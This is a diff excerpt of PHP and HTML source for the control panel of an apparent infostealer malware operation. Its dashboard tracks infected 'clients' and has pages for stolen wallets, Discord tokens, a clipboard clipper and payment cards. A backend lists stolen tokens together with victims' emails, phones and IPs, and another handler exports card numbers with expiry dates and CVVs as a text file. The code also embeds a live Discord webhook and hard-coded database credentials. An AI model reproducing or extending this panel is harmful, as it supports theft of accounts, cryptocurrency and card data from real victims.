class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-gear textCol mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
|
||||
|
||||
<div class="1 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
|
||||
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mytk; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="2 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Active Clients</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $myaktv; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="3 bg rounded-lg px-5 py-5 btn">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Total Cards</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $mystole; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
|
||||
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
|
||||
<div class="grid grid-cols-3">
|
||||
<div class="1 col-span-2">
|
||||
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
|
||||
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
|
||||
Subscription</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
|
||||
<?php echo $role; ?>
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-6 gap-5 mt-5">
|
||||
<!-- RAVEN ADDRESS -->
|
||||
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
|
||||
<div class="grid grid-cols-2">
|
||||
<div>
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-lock mr-1 icon2"></i> Account Security
|
||||
</h1>
|
||||
</div>
|
||||
<div class="text-right"></div>
|
||||
</div>
|
||||
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<form method="post">
|
||||
<div class="flex mx-5 mt-5 space-x-4">
|
||||
<!-- First Textbox and Button -->
|
||||
<div class="w-full">
|
||||
<div class="textLabel">
|
||||
<label class="text-stone-300 fntBold tracking-wide" for="webhook1">Security
|
||||
Webhook</label>
|
||||
<div class="sc-container mt-2">
|
||||
<input id="webhook1" type="text" name="webhook1"
|
||||
class="smoothCaretInput rounded-lg py-2 px-3 text-stone-400 dg"
|
||||
placeholder="<?php echo $holdwbhk; ?>">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="mt-3">
|
||||
<button id="wbhkscr" type="submit" name="wbhkscr"
|
||||
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
|
||||
<i class="fa-solid fa-save mr-1 icon"></i>
|
||||
Save Webhook
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Second Button Group (Enable and Disable) -->
|
||||
<div class="w-full">
|
||||
<div class="textLabel">
|
||||
<label class="text-stone-300 fntBold tracking-wide"
|
||||
for="enable"><?php echo $holdSCRTY; ?></label>
|
||||
<!-- Enable Button -->
|
||||
<div class="mt-2 mb-3">
|
||||
<button id="enebel" type="submit" name="enebel"
|
||||
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
|
||||
<i class="fa-solid fa-check mr-1 icon"></i>
|
||||
Enable
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Disable Button (Red) -->
|
||||
<button id="disbbl" type="submit" name="disbbl"
|
||||
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
|
||||
<i class="fa-solid fa-times mr-1 icon"></i>
|
||||
Disable
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid xl:grid-cols-6 gap-5 mt-5">
|
||||
<!-- RAVEN ADDRESS -->
|
||||
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
|
||||
<div class="grid grid-cols-2">
|
||||
<div>
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
|
||||
<i class="fa-solid fa-file mr-1 icon2"></i> Stub Advanced Settings
|
||||
</h1>
|
||||
</div>
|
||||
<div class="text-right"></div>
|
||||
</div>
|
||||
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<form method="post">
|
||||
<div class="flex mx-5 mt-5 space-x-4">
|
||||
<!-- Second Button Group (Enable and Disable) -->
|
||||
<div class="w-full">
|
||||
<div class="textLabel">
|
||||
<label class="text-stone-300 fntBold tracking-wide"
|
||||
for="enable"><?php echo $HoldFUD; ?></label>
|
||||
<!-- Enable Button -->
|
||||
<div class="mt-2 mb-3">
|
||||
<button id="enebelfd" type="submit" name="enebelfd"
|
||||
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
|
||||
<i class="fa-solid fa-check mr-1 icon"></i>
|
||||
Enable
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Disable Button (Red) -->
|
||||
<button id="disbblfd" type="submit" name="disbblfd"
|
||||
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
|
||||
<i class="fa-solid fa-times mr-1 icon"></i>
|
||||
Disable
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<script src="../assets/js/status.js"></script>
|
||||
<script src="../assets/js/builder.js"></script>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function() {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,333 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
|
||||
// Set content type to JSON
|
||||
header('Content-Type: application/json');
|
||||
|
||||
// Validate session data
|
||||
$role = $_SESSION['Role'] ?? '';
|
||||
$secretkey = $_SESSION['secret_key'] ?? '';
|
||||
$usernameax = $_SESSION['admin_name'] ?? '';
|
||||
|
||||
/**
|
||||
* Send log to Discord webhook
|
||||
*/
|
||||
function SendLog($message)
|
||||
{
|
||||
if (!is_string($message) || strlen($message) > 2000) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$webhookURL = "https://discord.com/api/webhooks/1194124696627728455/jtLVRNFyfepgvlkKpFG__hxeMcLwTafi3n39BVg8yelzDbShqL-L4-yrGwke0-o5eS2O";
|
||||
|
||||
$payload = json_encode(['content' => $message]);
|
||||
$headers = ['Content-Type: application/json'];
|
||||
|
||||
$ch = curl_init($webhookURL);
|
||||
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
|
||||
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
|
||||
|
||||
$response = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
|
||||
return $response !== false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate string length
|
||||
*/
|
||||
function isStringLengthGreaterThan5($inputString)
|
||||
{
|
||||
return is_string($inputString) && strlen($inputString) > 5;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate user permissions
|
||||
*/
|
||||
function validateUserPermissions($role, $secretkey, $usernameax)
|
||||
{
|
||||
if (empty($role) || empty($secretkey) || empty($usernameax)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
|
||||
return in_array($role, $validRoles);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create secure database connection
|
||||
*/
|
||||
function createDatabaseConnection()
|
||||
{
|
||||
$host = 'localhost';
|
||||
$dbname = 'luckyminer';
|
||||
$db_username = 'miner';
|
||||
$db_password = 'Sifre.12345';
|
||||
|
||||
try {
|
||||
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
|
||||
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
|
||||
return $pdo;
|
||||
} catch (PDOException $e) {
|
||||
error_log("Database connection failed: " . $e->getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize input for display
|
||||
*/
|
||||
function sanitizeForDisplay($input)
|
||||
{
|
||||
return htmlspecialchars($input ?? '', ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
|
||||
/**
|
||||
* Build base WHERE clause based on role
|
||||
*/
|
||||
function buildRoleBasedWhere($role, $usernameax, $secretkey)
|
||||
{
|
||||
$baseWhere = "WHERE 1 = 1";
|
||||
$params = [];
|
||||
|
||||
if ($role === "Founder" /*|| $usernameax == "44444"*/) {
|
||||
if ($usernameax !== "Hopesar") {
|
||||
$baseWhere .= " AND tokens.Username NOT LIKE :exclude_hopp
|
||||
AND tokens.Username NOT LIKE :exclude_emre
|
||||
AND tokens.Username NOT LIKE :exclude_hoppy
|
||||
AND tokens.Username NOT LIKE :exclude_hopes";
|
||||
$params['exclude_hopp'] = '%hopp%';
|
||||
$params['exclude_emre'] = '%emre%';
|
||||
$params['exclude_hoppy'] = '%hoppy%';
|
||||
$params['exclude_hopes'] = '%hopes%';
|
||||
}
|
||||
} else {
|
||||
$baseWhere .= " AND tokens.OwnerID = :owner_id";
|
||||
$params['owner_id'] = $secretkey;
|
||||
}
|
||||
|
||||
return [$baseWhere, $params];
|
||||
}
|
||||
|
||||
// Main execution
|
||||
try {
|
||||
// Validate HTTP method
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||
throw new Exception('Invalid request method');
|
||||
}
|
||||
|
||||
// Validate session and permissions
|
||||
if (!validateUserPermissions($role, $secretkey, $usernameax) || !isStringLengthGreaterThan5($secretkey)) {
|
||||
http_response_code(403);
|
||||
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Create database connection
|
||||
$pdo = createDatabaseConnection();
|
||||
if (!$pdo) {
|
||||
http_response_code(500);
|
||||
echo json_encode(['error' => 'Database connection failed']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Validate and sanitize DataTables parameters
|
||||
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
|
||||
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
|
||||
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
|
||||
|
||||
if ($draw === false || $start === false || $length === false) {
|
||||
throw new Exception('Invalid DataTables parameters');
|
||||
}
|
||||
|
||||
// Limit length to prevent excessive data retrieval
|
||||
$length = min($length, 1000);
|
||||
|
||||
// Get and validate search value
|
||||
$searchValue = '';
|
||||
if (isset($_POST['search']['value'])) {
|
||||
$rawSearchValue = $_POST['search']['value'];
|
||||
if (is_string($rawSearchValue) && strlen($rawSearchValue) > 0) {
|
||||
$searchValue = substr(trim($rawSearchValue), 0, 100); // Limit to 100 chars
|
||||
}
|
||||
}
|
||||
|
||||
// Define sortable columns (whitelist approach)
|
||||
$sortableColumns = [
|
||||
0 => 'tokens.Username',
|
||||
1 => 'm.PcName',
|
||||
2 => 'tokens.Email',
|
||||
3 => 'tokens.Phone',
|
||||
4 => 'tokens.nitro',
|
||||
5 => 'm.IP',
|
||||
6 => 'tokens.UserID',
|
||||
7 => 'tokens.TokenID'
|
||||
];
|
||||
|
||||
// Validate sorting parameters
|
||||
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
|
||||
$orderColumn = 'tokens.TokenID'; // Default sort column
|
||||
$orderDirection = 'DESC'; // Default sort direction
|
||||
|
||||
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
|
||||
$columnIndex = intval($orderColumnIndex[0]['column']);
|
||||
$direction = strtoupper($orderColumnIndex[0]['dir']);
|
||||
|
||||
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
|
||||
$orderColumn = $sortableColumns[$columnIndex];
|
||||
$orderDirection = $direction;
|
||||
}
|
||||
}
|
||||
|
||||
// Build role-based WHERE clause
|
||||
list($baseWhere, $params) = buildRoleBasedWhere($role, $usernameax, $secretkey);
|
||||
|
||||
// Add search conditions if search value exists
|
||||
$searchWhere = "";
|
||||
if (!empty($searchValue)) {
|
||||
$searchWhere = " AND (
|
||||
tokens.UserID LIKE :search1 OR
|
||||
tokens.Username LIKE :search2 OR
|
||||
tokens.Email LIKE :search3 OR
|
||||
tokens.Phone LIKE :search4 OR
|
||||
CONCAT(tokens.verified, ' | ', tokens.nitro) LIKE :search5 OR
|
||||
m.PcName LIKE :search6 OR
|
||||
m.IP LIKE :search7
|
||||
)";
|
||||
$searchPattern = '%' . $searchValue . '%';
|
||||
$params['search1'] = $searchPattern;
|
||||
$params['search2'] = $searchPattern;
|
||||
$params['search3'] = $searchPattern;
|
||||
$params['search4'] = $searchPattern;
|
||||
$params['search5'] = $searchPattern;
|
||||
$params['search6'] = $searchPattern;
|
||||
$params['search7'] = $searchPattern;
|
||||
}
|
||||
|
||||
// Build the main data query
|
||||
$dataQuery = "SELECT tokens.*,
|
||||
m.PcName,
|
||||
CONCAT(m.IP, ' | ', m.Country) AS IPCOUNTRaY
|
||||
FROM tokens
|
||||
LEFT JOIN (
|
||||
SELECT HWID, PcName, IP, Country
|
||||
FROM miners
|
||||
GROUP BY HWID
|
||||
) m ON tokens.HWID = m.HWID
|
||||
$baseWhere $searchWhere
|
||||
ORDER BY $orderColumn $orderDirection
|
||||
LIMIT :start, :length";
|
||||
|
||||
$stmt = $pdo->prepare($dataQuery);
|
||||
|
||||
// Bind parameters
|
||||
foreach ($params as $key => $value) {
|
||||
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
|
||||
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
|
||||
|
||||
$stmt->execute();
|
||||
$results = $stmt->fetchAll();
|
||||
|
||||
// Process results
|
||||
$data = [];
|
||||
foreach ($results as $row) {
|
||||
// Truncate long values for display
|
||||
$UserID = (strlen($row['UserID'] ?? '') > 15) ? substr($row['UserID'], 0, 15) . '...' : ($row['UserID'] ?? '');
|
||||
$names = (strlen($row['Username'] ?? '') > 15) ? substr($row['Username'], 0, 15) . '...' : ($row['Username'] ?? '');
|
||||
$email = (strlen($row['Email'] ?? '') > 20) ? substr($row['Email'], 0, 20) . '...' : ($row['Email'] ?? '');
|
||||
$phone = (strlen($row['Phone'] ?? '') > 15) ? substr($row['Phone'], 0, 15) . '...' : ($row['Phone'] ?? '');
|
||||
|
||||
// Determine nitro state
|
||||
$nitrostate = ($row['nitro'] == '2') ? 'Boosted Nitro' : (($row['nitro'] == '1') ? 'Classic Nitro' : 'No Nitro');
|
||||
$VerifiedNitro = ($row['verified'] ?? '') . " | " . $nitrostate;
|
||||
|
||||
// Generate secure token button
|
||||
$tokenId = intval($row['TokenID']);
|
||||
$token = sanitizeForDisplay($row['Token']);
|
||||
$tokenlink = '<button class="bg px-4 py-1 rounded text-stone-300 btn2 mr-1" onclick="copyText(\'' . $token . '\')"><i class="fa-solid fa-copy icon2 miAuto text-sm"></i></button>';
|
||||
|
||||
if ($row['isvalid'] == '0' && $role != 'Trial') {
|
||||
$tokenlink = '<button class="bgCol px-4 py-1 rounded text-stone-300 btn2 mr-1" onclick="copyText(\'' . $token . '\')"><i class="fa-solid fa-copy icon2 miAuto text-sm"></i></button>';
|
||||
}
|
||||
|
||||
// Generate profile picture
|
||||
$discordpfp = ($row['pfp'] != 'Default' && !empty($row['pfp'])) ?
|
||||
sanitizeForDisplay($row['pfp']) :
|
||||
'https://cdn.discordapp.com/attachments/1166459182002737307/1181003552135594034/g3OEi0y.png';
|
||||
|
||||
// Generate action buttons
|
||||
$actionButtons = '<div class="pt-2">' .
|
||||
$tokenlink .
|
||||
' <button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $tokenId . ')"><i class="fa-solid fa-trash miAuto text-sm"></i></button>' .
|
||||
'</div>';
|
||||
|
||||
// Generate name with profile picture
|
||||
$username = sanitizeForDisplay($row['Username']);
|
||||
$namepfp = '<div class="flex">
|
||||
<h1>
|
||||
<img src="' . $discordpfp . '" alt="Profile Picture" style="margin-right: 10px;">' .
|
||||
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $username . '\')">' . sanitizeForDisplay($names) . '</a>' .
|
||||
'</h1>
|
||||
</div>';
|
||||
|
||||
$data[] = [
|
||||
$namepfp,
|
||||
sanitizeForDisplay($row['PcName'] ?? ''),
|
||||
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . sanitizeForDisplay($row['Email']) . '\')">' . sanitizeForDisplay($email) . '</a>',
|
||||
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . sanitizeForDisplay($row['Phone']) . '\')">' . sanitizeForDisplay($phone) . '</a>',
|
||||
sanitizeForDisplay($VerifiedNitro),
|
||||
sanitizeForDisplay($row['IPCOUNTRaY'] ?? ''),
|
||||
'<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . sanitizeForDisplay($row['UserID']) . '\')">' . sanitizeForDisplay($UserID) . '</a>',
|
||||
$actionButtons
|
||||
];
|
||||
}
|
||||
|
||||
// Get total count
|
||||
$countQuery = "SELECT COUNT(tokens.TokenID) as total
|
||||
FROM tokens
|
||||
LEFT JOIN (
|
||||
SELECT HWID, PcName, IP, Country
|
||||
FROM miners
|
||||
GROUP BY HWID
|
||||
) m ON tokens.HWID = m.HWID
|
||||
$baseWhere $searchWhere";
|
||||
|
||||
$countStmt = $pdo->prepare($countQuery);
|
||||
|
||||
// Bind the same parameters for count query (excluding LIMIT params)
|
||||
foreach ($params as $key => $value) {
|
||||
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
|
||||
$countStmt->execute();
|
||||
$totalRecords = $countStmt->fetch()['total'];
|
||||
|
||||
// Prepare response
|
||||
$response = [
|
||||
'draw' => $draw,
|
||||
'recordsTotal' => intval($totalRecords),
|
||||
'recordsFiltered' => intval($totalRecords),
|
||||
'data' => $data
|
||||
];
|
||||
|
||||
echo json_encode($response, JSON_UNESCAPED_UNICODE);
|
||||
} catch (Exception $e) {
|
||||
// Log error and return generic error response
|
||||
error_log("Tokens DataTables Error: " . $e->getMessage());
|
||||
|
||||
http_response_code(500);
|
||||
echo json_encode([
|
||||
'draw' => $draw ?? 0,
|
||||
'recordsTotal' => 0,
|
||||
'recordsFiltered' => 0,
|
||||
'data' => [],
|
||||
'error' => 'An error occurred while processing your request'
|
||||
]);
|
||||
}
|
||||
@@ -0,0 +1,972 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
$username = $_SESSION['admin_name'];
|
||||
$role = $_SESSION['Role'];
|
||||
if (!isset($_SESSION['admin_name'])) {
|
||||
header('location:../Login/');
|
||||
} else {
|
||||
|
||||
if ($role == 'Trial') {
|
||||
header('location: https://' . $domainyess . '/Subscriptions');
|
||||
}
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
|
||||
|
||||
if ($role == 'Founder') {
|
||||
|
||||
$selectu = "SELECT * FROM miners";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
|
||||
} else {
|
||||
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
|
||||
}
|
||||
|
||||
$resultanss = mysqli_query($conn, $selectana);
|
||||
$myaktv = mysqli_num_rows($resultanss);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (isset($_POST['ides'])) {
|
||||
|
||||
if ($role == 'Founder') {
|
||||
$sqlAQA = "SELECT * FROM Cards";
|
||||
} else {
|
||||
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
|
||||
}
|
||||
$resultAQA = $conn->query($sqlAQA);
|
||||
|
||||
// Initialize the output
|
||||
$output = '';
|
||||
|
||||
// Process the database results and format them
|
||||
if ($resultAQA->num_rows > 0) {
|
||||
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
|
||||
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
|
||||
}
|
||||
} else {
|
||||
$output .= "No Card Data!";
|
||||
}
|
||||
|
||||
$filename = "AllCards.txt";
|
||||
// Set the appropriate HTTP headers for downloading
|
||||
header('Content-Type: application/octet-stream');
|
||||
header('Content-Disposition: attachment; filename="' . $filename . '"');
|
||||
|
||||
// Output the data and exit
|
||||
echo $output;
|
||||
|
||||
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
|
||||
}
|
||||
|
||||
|
||||
if (isset($_POST['ides'])) {
|
||||
|
||||
if ($username == 'Clara') {
|
||||
$sqlAQA = "SELECT * FROM Cards";
|
||||
} else {
|
||||
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
|
||||
}
|
||||
$resultAQA = $conn->query($sqlAQA);
|
||||
|
||||
// Initialize the output
|
||||
$output = '';
|
||||
|
||||
// Process the database results and format them
|
||||
if ($resultAQA->num_rows > 0) {
|
||||
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
|
||||
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
|
||||
}
|
||||
} else {
|
||||
$output .= "No Card Data!";
|
||||
}
|
||||
|
||||
$filename = "AllCards.txt";
|
||||
// Set the appropriate HTTP headers for downloading
|
